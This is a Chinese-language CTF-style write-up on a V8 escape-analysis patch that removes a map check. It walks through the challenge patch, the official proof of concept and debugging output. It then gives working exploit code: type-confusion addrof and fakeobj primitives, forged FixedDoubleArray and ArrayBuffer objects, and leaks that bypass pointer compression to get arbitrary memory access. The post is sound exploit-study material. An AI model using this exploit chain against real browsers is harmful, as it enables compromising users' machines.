作为一位菜鸟,发文章希望大佬们批评指正
git reset --hard 07b0b1dcde4a99294b8028d83f4ea244885cc091
git apply ../patch/patch.diff
gclient sync
ninja -C out.gn/x64.release d8
8:43
同时在ubuntu18上安装对应的chrome
题目之后放在github上
https://github.com/MyinIt-0/v8/tree/master/Wi1L
当我们想直接输出一个type信息时,会被逗号取代(除非有洞导致.....)
两者都是element部分
哪怕像这样插入一个浮点数
spary[spary_size-1] = 1.1;
也会作为heapNumber对象,这样的话直接读取spary[idx]返回的是
,,,
因为这些idx位置都是 obj指针,如果返回就相当于泄露map值了
其中的浮点数都是直接存储的
可以直接通过idx访问
所以得出结论,这两个东西的互相转化可以用于伪造addrof与fakeof原语
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc index 2a096b6933..3046d7b04e 100644 --- a/src/compiler/escape-analysis.cc +++ b/src/compiler/escape-analysis.cc @@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject { : VariableTracker::Scope(&tracker->variable_states_, node, reduction), tracker_(tracker), reducer_(reducer) {} - const VirtualObject* GetVirtualObject(Node* node) { + VirtualObject* GetVirtualObject(Node* node) { VirtualObject* vobject = tracker_->virtual_objects_.Get(node); if (vobject) vobject->AddDependency(current_node()); return vobject; @@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, case IrOpcode::kStoreField: { Node* object = current->ValueInput(0); Node* value = current->ValueInput(1); - const VirtualObject* vobject = current->GetVirtualObject(object); + VirtualObject* vobject = current->GetVirtualObject(object); Variable var; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) { + // Attach cached map info to the virtual object. + if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) { + vobject->SetMap(value); + } current->Set(var, value); current->MarkForDeletion(); } else { @@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, // yet. break; } + } else if (vobject) { + Node* cache_map = vobject->Map(); + if (cache_map) { + Type const map_type = NodeProperties::GetType(cache_map); + if (map_type.IsHeapConstant() && + params.maps().contains( + map_type.AsHeapConstant()->Ref().AsMap().object())) { + current->MarkForDeletion(); + break; + } + } } current->SetEscaped(checked); break; @@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, for (int i = 0; i < value_input_count; ++i) { Node* input = current->ValueInput(i); current->SetEscaped(input); + + // Invalidate associated map cache for all value input nodes. + VirtualObject* vobject = current->GetVirtualObject(input); + if (vobject) { + vobject->SetMap(nullptr); + } } if (OperatorProperties::HasContextInput(op)) { current->SetEscaped(current->ContextInput()); diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h index 0fbc7d0bdd..ec56488388 100644 --- a/src/compiler/escape-analysis.h +++ b/src/compiler/escape-analysis.h @@ -147,11 +147,14 @@ class VirtualObject : public Dependable { bool HasEscaped() const { return escaped_; } const_iterator begin() const { return fields_.begin(); } const_iterator end() const { return fields_.end(); } + Node* Map() const { return map_; } + void SetMap(Node* map) { map_ = map; } private: bool escaped_ = false; Id id_; ZoneVector<Variable> fields_; + Node* map_; }; class EscapeAnalysisResult {
整体的patch有两方面组成,一个是.h文件,一个是.cc文件的一个函数
针对.h文件
--- a/src/compiler/escape-analysis.h +++ b/src/compiler/escape-analysis.h @@ -147,11 +147,14 @@ class VirtualObject : public Dependable { bool HasEscaped() const { return escaped_; } const_iterator begin() const { return fields_.begin(); } const_iterator end() const { return fields_.end(); } + Node* Map() const { return map_; } + void SetMap(Node* map) { map_ = map; } private: bool escaped_ = false; Id id_; ZoneVector<Variable> fields_; + Node* map_; };
可以看到是VirtualObject加了一个map_对象 , 同时增加了两个函数,这里我们就需要知道这个VirtualObject是什么
针对.cc文件
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc index 2a096b6933..3046d7b04e 100644 --- a/src/compiler/escape-analysis.cc +++ b/src/compiler/escape-analysis.cc @@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject { : VariableTracker::Scope(&tracker->variable_states_, node, reduction), tracker_(tracker), reducer_(reducer) {} - const VirtualObject* GetVirtualObject(Node* node) { + VirtualObject* GetVirtualObject(Node* node) { VirtualObject* vobject = tracker_->virtual_objects_.Get(node); if (vobject) vobject->AddDependency(current_node()); return vobject; @@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, case IrOpcode::kStoreField: { Node* object = current->ValueInput(0); Node* value = current->ValueInput(1); - const VirtualObject* vobject = current->GetVirtualObject(object); + VirtualObject* vobject = current->GetVirtualObject(object); Variable var; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) { + // Attach cached map info to the virtual object. + if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) { + vobject->SetMap(value); + } current->Set(var, value); current->MarkForDeletion(); } else { @@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, // yet. break; } + } else if (vobject) { + Node* cache_map = vobject->Map(); + if (cache_map) { + Type const map_type = NodeProperties::GetType(cache_map); + if (map_type.IsHeapConstant() && + params.maps().contains( + map_type.AsHeapConstant()->Ref().AsMap().object())) { + current->MarkForDeletion(); + break; + } + } } current->SetEscaped(checked); break; @@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, for (int i = 0; i < value_input_count; ++i) { Node* input = current->ValueInput(i); current->SetEscaped(input); + + // Invalidate associated map cache for all value input nodes. + VirtualObject* vobject = current->GetVirtualObject(input); + if (vobject) { + vobject->SetMap(nullptr); + } } if (OperatorProperties::HasContextInput(op)) { current->SetEscaped(current->ContextInput());
主要是针对刚才的map的一些操作,这里我们就需要看原函数是什么作用,如何触发这个位置等等
修改的具体函数如下(虽然有点长,但是还是贴了一下)
void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current, JSGraph* jsgraph) { switch (op->opcode()) { case IrOpcode::kAllocate: { NumberMatcher size(current->ValueInput(0)); if (!size.HasValue()) break; int size_int = static_cast<int>(size.Value()); if (size_int != size.Value()) break; if (const VirtualObject* vobject = current->InitVirtualObject(size_int)) { // Initialize with dead nodes as a sentinel for uninitialized memory. for (Variable field : *vobject) { current->Set(field, jsgraph->Dead()); } } break; } case IrOpcode::kFinishRegion: current->SetVirtualObject(current->ValueInput(0)); break; case IrOpcode::kStoreField: { Node* object = current->ValueInput(0); Node* value = current->ValueInput(1); VirtualObject* vobject = current->GetVirtualObject(object); Variable var; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) { // Attach cached map info to the virtual object. if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) { vobject->SetMap(value); } current->Set(var, value); current->MarkForDeletion(); } else { current->SetEscaped(object); current->SetEscaped(value); } break; } case IrOpcode::kStoreElement: { Node* object = current->ValueInput(0); Node* index = current->ValueInput(1); Node* value = current->ValueInput(2); const VirtualObject* vobject = current->GetVirtualObject(object); int offset; Variable var; if (vobject && !vobject->HasEscaped() && OffsetOfElementsAccess(op, index).To(&offset) && vobject->FieldAt(offset).To(&var)) { current->Set(var, value); current->MarkForDeletion(); } else { current->SetEscaped(value); current->SetEscaped(object); } break; } case IrOpcode::kLoadField: { Node* object = current->ValueInput(0); const VirtualObject* vobject = current->GetVirtualObject(object); Variable var; Node* value; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var) && current->Get(var).To(&value)) { current->SetReplacement(value); } else { current->SetEscaped(object); } break; } case IrOpcode::kLoadElement: { Node* object = current->ValueInput(0); Node* index = current->ValueInput(1); const VirtualObject* vobject = current->GetVirtualObject(object); int offset; Variable var; Node* value; if (vobject && !vobject->HasEscaped() && OffsetOfElementsAccess(op, index).To(&offset) && vobject->FieldAt(offset).To(&var) && current->Get(var).To(&value)) { current->SetReplacement(value); break; } else if (vobject && !vobject->HasEscaped()) { // Compute the known length (aka the number of elements) of {object} // based on the virtual object information. ElementAccess const& access = ElementAccessOf(op); int const length = (vobject->size() - access.header_size) >> ElementSizeLog2Of(access.machine_type.representation()); Variable var0, var1; Node* value0; Node* value1; if (length == 1 && vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var) && current->Get(var).To(&value) && (value == nullptr || NodeProperties::GetType(value).Is(access.type))) { // The {object} has no elements, and we know that the LoadElement // {index} must be within bounds, thus it must always yield this // one element of {object}. current->SetReplacement(value); break; } else if (length == 2 && vobject->FieldAt(OffsetOfElementAt(access, 0)).To(&var0) && current->Get(var0).To(&value0) && (value0 == nullptr || NodeProperties::GetType(value0).Is(access.type)) && vobject->FieldAt(OffsetOfElementAt(access, 1)).To(&var1) && current->Get(var1).To(&value1) && (value1 == nullptr || NodeProperties::GetType(value1).Is(access.type))) { if (value0 && value1) { // The {object} has exactly two elements, so the LoadElement // must return one of them (i.e. either the element at index // 0 or the one at index 1). So we can turn the LoadElement // into a Select operation instead (still allowing the {object} // to be scalar replaced). We must however mark the elements // of the {object} itself as escaping. Node* check = jsgraph->graph()->NewNode(jsgraph->simplified()->NumberEqual(), index, jsgraph->ZeroConstant()); NodeProperties::SetType(check, Type::Boolean()); Node* select = jsgraph->graph()->NewNode( jsgraph->common()->Select(access.machine_type.representation()), check, value0, value1); NodeProperties::SetType(select, access.type); current->SetReplacement(select); current->SetEscaped(value0); current->SetEscaped(value1); break; } else { // If the variables have no values, we have // not reached the fixed-point yet. break; } } } current->SetEscaped(object); break; } case IrOpcode::kTypeGuard: { current->SetVirtualObject(current->ValueInput(0)); break; } case IrOpcode::kReferenceEqual: { Node* left = current->ValueInput(0); Node* right = current->ValueInput(1); const VirtualObject* left_object = current->GetVirtualObject(left); const VirtualObject* right_object = current->GetVirtualObject(right); Node* replacement = nullptr; if (left_object && !left_object->HasEscaped()) { if (right_object && !right_object->HasEscaped() && left_object->id() == right_object->id()) { replacement = jsgraph->TrueConstant(); } else { replacement = jsgraph->FalseConstant(); } } else if (right_object && !right_object->HasEscaped()) { replacement = jsgraph->FalseConstant(); } // TODO(tebbi) This is a workaround for uninhabited types. If we // replaced a value of uninhabited type with a constant, we would // widen the type of the node. This could produce inconsistent // types (which might confuse representation selection). We get // around this by refusing to constant-fold and escape-analyze // if the type is not inhabited. if (replacement && !NodeProperties::GetType(left).IsNone() && !NodeProperties::GetType(right).IsNone()) { current->SetReplacement(replacement); break; } current->SetEscaped(left); current->SetEscaped(right); break; } case IrOpcode::kCheckMaps: { CheckMapsParameters params = CheckMapsParametersOf(op); Node* checked = current->ValueInput(0); const VirtualObject* vobject = current->GetVirtualObject(checked); Variable map_field; Node* map; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) && current->Get(map_field).To(&map)) { if (map) { Type const map_type = NodeProperties::GetType(map); if (map_type.IsHeapConstant() && params.maps().contains( map_type.AsHeapConstant()->Ref().AsMap().object())) { current->MarkForDeletion(); break; } } else { // If the variable has no value, we have not reached the fixed-point // yet. break; } } else if (vobject) { Node* cache_map = vobject->Map(); if (cache_map) { Type const map_type = NodeProperties::GetType(cache_map); if (map_type.IsHeapConstant() && params.maps().contains( map_type.AsHeapConstant()->Ref().AsMap().object())) { current->MarkForDeletion(); break; } } } current->SetEscaped(checked); break; } case IrOpcode::kCompareMaps: { Node* object = current->ValueInput(0); const VirtualObject* vobject = current->GetVirtualObject(object); Variable map_field; Node* object_map; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) && current->Get(map_field).To(&object_map)) { if (object_map) { current->SetReplacement(LowerCompareMapsWithoutLoad( object_map, CompareMapsParametersOf(op), jsgraph)); break; } else { // If the variable has no value, we have not reached the fixed-point // yet. break; } } current->SetEscaped(object); break; } case IrOpcode::kCheckHeapObject: { Node* checked = current->ValueInput(0); switch (checked->opcode()) { case IrOpcode::kAllocate: case IrOpcode::kFinishRegion: case IrOpcode::kHeapConstant: current->SetReplacement(checked); break; default: current->SetEscaped(checked); break; } break; } case IrOpcode::kMapGuard: { Node* object = current->ValueInput(0); const VirtualObject* vobject = current->GetVirtualObject(object); if (vobject && !vobject->HasEscaped()) { current->MarkForDeletion(); } break; } case IrOpcode::kStateValues: case IrOpcode::kFrameState: // These uses are always safe. break; default: { // For unknown nodes, treat all value inputs as escaping. int value_input_count = op->ValueInputCount(); for (int i = 0; i < value_input_count; ++i) { Node* input = current->ValueInput(i); current->SetEscaped(input); // Invalidate associated map cache for all value input nodes. VirtualObject* vobject = current->GetVirtualObject(input); if (vobject) { vobject->SetMap(nullptr); } } if (OperatorProperties::HasContextInput(op)) { current->SetEscaped(current->ContextInput()); } break; } } }
在这个函数里面主要patch的两个地方是
case IrOpcode::kStoreField: { Node* object = current->ValueInput(0); Node* value = current->ValueInput(1); VirtualObject* vobject = current->GetVirtualObject(object);//====> Variable var; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) { // Attach cached map info to the virtual object. //====> if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) { vobject->SetMap(value); }////////////////////////////////////////////////////====> current->Set(var, value); current->MarkForDeletion(); } else { current->SetEscaped(object); current->SetEscaped(value); } break; } patch的位置在上面进行了标记 在patch脚本中给了一句话// Attach cached map info to the virtual object. 前面对于patch中的.h文件进行了介绍 上面的case是对于StoreField节点进行的操作,可见如果我们绕过一些分支限制,到达 vobject->SetMap(value);位置,是可以给这个Node设置一个cached map的、 但是我现在不清楚的object和value分别是什么、对于setEscaped和MarkForDeletion也略有不清楚
还有
case IrOpcode::kCheckMaps: { CheckMapsParameters params = CheckMapsParametersOf(op); Node* checked = current->ValueInput(0); const VirtualObject* vobject = current->GetVirtualObject(checked); Variable map_field; Node* map; if (vobject && !vobject->HasEscaped() && vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) && current->Get(map_field).To(&map)) { if (map) { Type const map_type = NodeProperties::GetType(map); if (map_type.IsHeapConstant() && params.maps().contains( map_type.AsHeapConstant()->Ref().AsMap().object())) { current->MarkForDeletion(); break; } } else { // If the variable has no value, we have not reached the fixed-point // yet. break; } } else if (vobject) { //<===================== Node* cache_map = vobject->Map(); if (cache_map) { Type const map_type = NodeProperties::GetType(cache_map); if (map_type.IsHeapConstant() && params.maps().contains( map_type.AsHeapConstant()->Ref().AsMap().object())) { current->MarkForDeletion();<==我们希望通过这个消除checkmap break; } } }////////////////////////<===================== current->SetEscaped(checked); break; } 同样先将patch的部位进行了标记 这里的case是针对CheckMaps Node,在store之前是有CheckMaps节点的 这里就是绕过一些条件,达到这个分支之后 首先取出vobject对应的Map_(这里的vobject对应哪个节点也还没有搞明白) 取出map值后,经过一个if判断,将current标记成删除
经过上面的分析,我自己的想法是,首先store让一个节点标记上这个cached_map,然后绕过一些判定条件,使CheckMap节点消除,从而可以进行类型混淆(甚至更多)
官方poc
function opt(cb) { for(var i = 0; i < 200000; i++) { } // trigger JIT let v = [1.1]; // double elements let o = [v]; // now o & v are not escaped and have their maps cached cb(o); // now o & v are escaped, but only o's cached maps are //invalidated. return v[0]; // type confusion, v is still treated as double elements.其实应该是fixed_array而不是fixed_double_array } let x = new Array(4); for(var i = 0; i < 10; i++) { opt((o) => {}); } console.log(opt((o) => { o[0][0] = x; }));
断点位置
Num Type Disp Enb Address What
1 breakpoint keep y 0x00007f9542e891d4 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:755
breakpoint already hit 1 time
2 breakpoint keep y 0x00007f9542e88127 in v8::internal::compiler::(anonymous namespace)::ReduceNode(v8::internal::compiler::Operator const*, v8::internal::compiler::EscapeAnalysisTracker::Scope*, v8::internal::compiler::JSGraph*) at ../../src/compiler/escape-analysis.cc:584
breakpoint already hit 12 times
关于reduceNode总共触发了一次,所以就先研究一下这个
官方POC的内存变化
mem.js
function opt(cb) { //for(var i = 0; i < 200000; i++) { } // trigger JIT let v = [1.1]; // double elements let o = [v]; // now o & v are not escaped and have their maps cached %DebugPrint(o); %SystemBreak(); cb(o); // now o & v are escaped, but only o's cached maps are %DebugPrint(o); //invalidated. return v[0]; // type confusion, v is still treated as double elements. } let x = new Array(4); //for(var i = 0; i < 10; i++) { //opt((o) => {}); //} let foo = opt((o) => { o[0][0] = x;}); %SystemBreak(); //%OptimizeFunctionOnNextCall(opt); //console.log(opt((o) => { o[0][0] = x; }));
第一次内存情况
DebugPrint: 0xc6e08148dd5: [JSArray]
- map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0c6e08042229 <FixedArray[0]> {
0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0c6e08148dc9 <FixedArray[1]> {
0: 0x0c6e08148db9 <JSArray[1]>
}
0xc6e0830394d: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
- instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
- transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
- dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
第二次
Continuing.
DebugPrint: 0xc6e08148dd5: [JSArray]
- map: 0x0c6e0830394d <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- elements: 0x0c6e08148dc9 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0c6e08042229 <FixedArray[0]> {
0xc6e08044695: [String] in ReadOnlySpace: #length: 0x0c6e08242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0c6e08148dc9 <FixedArray[1]> {
0: 0x0c6e08148db9 <JSArray[1]>
}
0xc6e0830394d: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0c6e08303925 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x0c6e08242445 <Cell value= 1>
- instance descriptors #1: 0x0c6e082cba9d <DescriptorArray[1]>
- transitions #1: 0x0c6e082cbb19 <TransitionArray[4]>Transition array #1:
0x0c6e08044f85 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x0c6e08303975 <Map(HOLEY_ELEMENTS)>
- prototype: 0x0c6e082cb5e9 <JSArray[0]>
- constructor: 0x0c6e082cb385 <JSFunction Array (sfi = 0xc6e0824f899)>
- dependent code: 0x0c6e080421b5 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
function opt(foo) { var a = [1.1]; //未逃逸 foo(a); //逃逸 return a[0]; } //触发JIT编译 for (var i=0;i<0x20000;i++) { opt((o)=>{}); } x = Array(0); print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型 %SystemBreak();
这个问题是,所有的代码全部被优化(通过--print-opt-code可以看出)
程序知道foo是要干什么,所以导致没有逃逸
function opt(foo) { //触发JIT编译 for (var i=0;i<0x20000;i++) { } var a = [1.1]; //未逃逸 foo(a); //逃逸 return a[0]; } opt((o)=>{}); x = Array(0); print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型 %SystemBreak();
这次进行了改进,程序只优化opt函数,但是没有触发源码中的断点
通过print-opt-code可以发现对于opt函数优化了两次
function opt(foo) { //触发JIT编译 for (var i=0;i<0x20000;i++) { } var a = [1.1]; //storeFiled分支 foo(a); //unknown分支 but a->_map becomes invalidate here return a[0];//checkmap分支 because a->_map is nullptr, map doesn't MarkForDeletion() } opt((o)=>{}); opt((o)=>{}); opt((o)=>{}); x = Array(0); print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型 %SystemBreak();
这个的结果是没有成功消除map值
具体的流程是
进行setvalue
进行map值的清空
清空之后到了消除kcheckmap的分支部分,发现条件不再满足
原因是上一步清空了
导致最后优化代码的几个部分
赋值a[0] = 1.1
x84700085590 f0 49ba9a9999999999f13f REX.W movq r10,0x3ff199999999999a
0x8470008559a fa c4c1f96ec2 vmovq xmm0,r10
0x8470008559f ff c4c17b114007 vmovsd [r8+0x7],xmm0
最后取值a[0]的时候还是有checkmap
0x847000855ee 14e b801000000 movl rax,0x1
0x847000855f3 153 49ba6041d2f6e77f0000 REX.W movq r10,0x7fe7f6d24160 (Call_ReceiverIsNullOrUndefined) ;; off heap target
0x847000855fd 15d 41ffd2 call r10
0x84700085600 160 488b4dd8 REX.W movq rcx,[rbp-0x28]
0x84700085604 164 41b8fd383008 movl r8,0x83038fd ;; (compressed) object: 0x0847083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x8470008560a 16a 443941ff cmpl [rcx-0x1],r8
0x8470008560e 16e 0f8588010000 jnz 0x8470008579c <+0x2fc>
function opt(foo) { //触发JIT编译 for (var i=0;i<0x20000;i++) { } var a = [1.1]; //未逃逸 StoreFiled分支 var b = [a]; //未逃逸 StoreFiled分支 foo(b); //逃逸 default分支 b->_map置为NUllptr, but a->_map is valid return a[0];//checkMap分支 a'map MarkForDeletion() } //生成多个JIT模板 for (var i=0;i<0x10;i++) { opt((o)=>{}); } x = Array(0); print(opt((o)=>{o[0][0] = x;})); //在外部函数里改变类型
具体流程
storeFiled分支
default分支
这里同一个节点出现了四次
最后CheckMap分支
之间在8.0以上版本没有尝试过fake_obj之后的利用,同时这个也是chrome利用
addrof原语的思路是将指向一个对象的指针作为双精度浮点型数据读取的话,fakeobj是双精度浮点型数据解释为指向一个对象的指针
checkMap消除之后进行了直接赋值
先进行transiton后进行escape(优化流程图)
load-elimination ====> escape
在load-elimination有类型的变化(fixed_array与fixed_double变换),在escape有checkMap消除
简单解释addrof
function opt0(o) { for(var i = 0; i < 200000; i++) { } let a = [1.1,2.2,3.3,4.4]; let b = [a];<====b[0]是fixed_double b是fixed_array o(b); <=== b[0][0] = obj , a先进行Transition成fixed_array,此后a的checkMap消除 return a[0];<====此时由于a的checkMap消除,就会直接读出浮点数 } function addressOf(obj) { var addr = opt0((o)=>{o[0][0] = obj;}); return u32f(addr) - 1; }
脚本中用到了一个喷射object代码
let arr = spary[spary_size-0x3]; let arr_address = addressOf(arr); let proto_addr = addressOf(Array.prototype); %DebugPrint(arr); %DebugPrint(spary); %SystemBreak(); //fake a FixedDoubleArray Map arr[0] = p64f(0x08042115,0x18040404); arr[1] = p64f(0x29000423,0x0a0007ff); arr[2] = p64f(proto_addr+1,0); //alert(arr_address.toString(16)); let element_addr = arr_address + 0x14; let fake_element = element_addr+0x44; //fake a FixedDoubleArray arr[4] = p64f(0,element_addr+0x8+0x1); arr[5] = p64f(0x08042229,fake_element+1); arr[6] = p64f(0x7ffffffe,0); //fake a FixedDoubleArray's element arr[7] = p64f(0,0x08042ab1); arr[8] = p64f(0x7ffffffe,0); %SystemBreak(); var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); //leak backing store backing_store_addr = u64f(arb_fixeddouble_arr[0x9]); heap_t_addr = u64f(arb_fixeddouble_arr[0xa]) //alert(backing_store_addr.toString(16)); //alert(heap_t_addr.toString(16)); //leak compression ptr high byte compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]); //alert(compression_high_bytes.toString(16)); function addressOf_full(obj) { var addr = addressOf(obj); return (BigInt(compression_high_bytes) << 32n) + BigInt(addr); } arr = spary[spary_size-0x6]; arr_address = addressOf(arr); proto_addr = addressOf(ArrayBuffer.prototype); %DebugPrint(arr); %SystemBreak(); //fake a ArrayBuffer Map arr[0] = p64f(0x08042115,0x140e0e0e); arr[1] = p64f(0x19000424,0x084003ff); arr[2] = p64f(proto_addr+1,0); element_addr = arr_address + 0x14; fake_element = element_addr+0x44; //fake a ArrayBuffer arr[4] = p64f(0,element_addr+0x8+0x1); arr[5] = p64f(0x08042229,0x08042229); arr[6] = p64f(0xffffffff,0); arr[7] = p64f(0,0); arr[9] = p64f(0,2); var arb_arraybuffer = fakeObject(element_addr + 0x2c); var adv = new DataView(arb_arraybuffer); %SystemBreak();
我们要先搞清楚其具体的内存情况, 由于没有直接用Array.length扩大,所以这里不改debug源码也是可以直接调试的(无check)。
首先对于没有更改内存的spary进行DebugPrint,同时对修改之前的arr进行DebugPrint
在脚本中有一些特殊的数据,目前还不是特别懂
对当前的arr数据进行查看
对修改完数据之后的arr数组进行查看
伪造之后的数据结构如下图
我们从0x815a671指向的地方开始伪造,首先伪造了一个map ,然后是一个存放double的array,最后是这个array的element
这样就明白了之前脚本
group1
首先第一组数据,我们查看Array对应的map
我们伪造的就是上图map圈出了部分,除了第三个(0x21000423)和第四个(0x0a8007ff)数据外其它map内容均一样,那么这两个字段是什么意思呢
可以看到本来不同的array数组对应的map 这个值也有可能不一样
后来在上面的map图中找到了我们伪造的数据
我尝试修改脚本这两个数据
发现并没有对结果产生影响
姑且认为这两个数据一组就好(因为没有搜到资料这两个字段的含义)
group2
第二组数据可以很清楚的看出分别是map值指针+property+element+length(其中map指针指向我们伪造的地方,element指针指向之后伪造的地方)
group3
第三组数据伪造的element(其中0x8042ab1直接抄就可以,后面是length<<1)
经过前面的操作,现在已经布置好了伪造的array,下一步是
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); //这里传进去的参数是伪造的double_array的map指针的地址 //leak backing store backing_store_addr = u64f(arb_fixeddouble_arr[0x9]); heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
于是开始调试
修改之前的数据
ele指向的位置就是伪造的double_array开始的地方
修改之后的数据
可以看到数据并没有发生变化,那fake_obj到底是干什么呢,再次理解下
fake_obj作用是传进去一个数组,之后返回一个可以操作的对应map的object 首先我们传进去的是一个32位 或者 64位的整数,要进行一次i2f(addr+1)变换 , 脚本中的fake_obj是64位操作前32位置为0,因为 //fake a FixedDoubleArray Map arr[0] = p64f(0x08042115,0x18040404); arr[1] = p64f(0x29000423,0x0a0007ff); arr[2] = p64f(proto_addr+1,0); //alert(arr_address.toString(16)); let element_addr = arr_address + 0x14; let fake_element = element_addr+0x44; //fake a FixedDoubleArray arr[4] = p64f(0,element_addr+0x8+0x1); arr[4]伪造的前32本来就是0,可以这么操作 之后是让一个数组的一项等于我们伪造的地址 let a = [1.1,2.2,3.3,4.4]; let b = [a]; x(b); a[0] = val;<=====数组a的第0项等于我们伪造的i2f(addr+1) 最后返回元素a[0]即为一个obj
即将双精度浮点型数据解释为指向一个对象的指针(key)
我们重新看一下脚本
function fakeObject(addr) {
var fval = i2f64(addr + 1);
let f = eval(`(x,y,val)=>{
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
x(b);<====b[0][0] = {} a的checkMap消除了,但是其会认为b[0]也就是a是fixed_array
a[0] = val; <====b[0][0] = fval 设置为我们传进来的浮点数,a现在是fixed_array而不是fixed_double_array , 如果此时a是具有checkMap会像heapNumber一样存储,但是checkMap消除了就会进行直接的赋值。a[0] = val 而不是a[0] = HeapNumber_ptr
return y(b); <====return b[0][0] 像fixed_array一样,所以返回对象
}`);
for (var i=0;i<10;i++) {
f((o)=>{},(o)=>{},fval);
}
return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}
这里改了下脚本
return f((o)=>{o[0][0] = {};},(o)=>{return o[0];},fval);
返回了b[0],也就是a
从图中可以看到a被当作了fixed_array,然后具体的解释就是上面的部分了
前面费劲心思伪造了一个fake_double_array
下面就是使用它
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c); // console.log(hex(element_addr + 0x2c)); %DebugPrint(arb_fixeddouble_arr); // <=============== //leak backing store backing_store_addr = u64f(arb_fixeddouble_arr[0x9]); heap_t_addr = u64f(arb_fixeddouble_arr[0xa]) //alert(backing_store_addr.toString(16)); //alert(heap_t_addr.toString(16)); //leak compression ptr high byte compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
看一下arb_fixeddouble_arr的内存布局
看一下我们能够泄露什么
到此fake_array任务结束
后面加了个函数
function addressOf_full(obj) {
var addr = addressOf(obj);
return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}
绕过指针压缩,这个函数就是将我们读取的addr扩展下
脚本
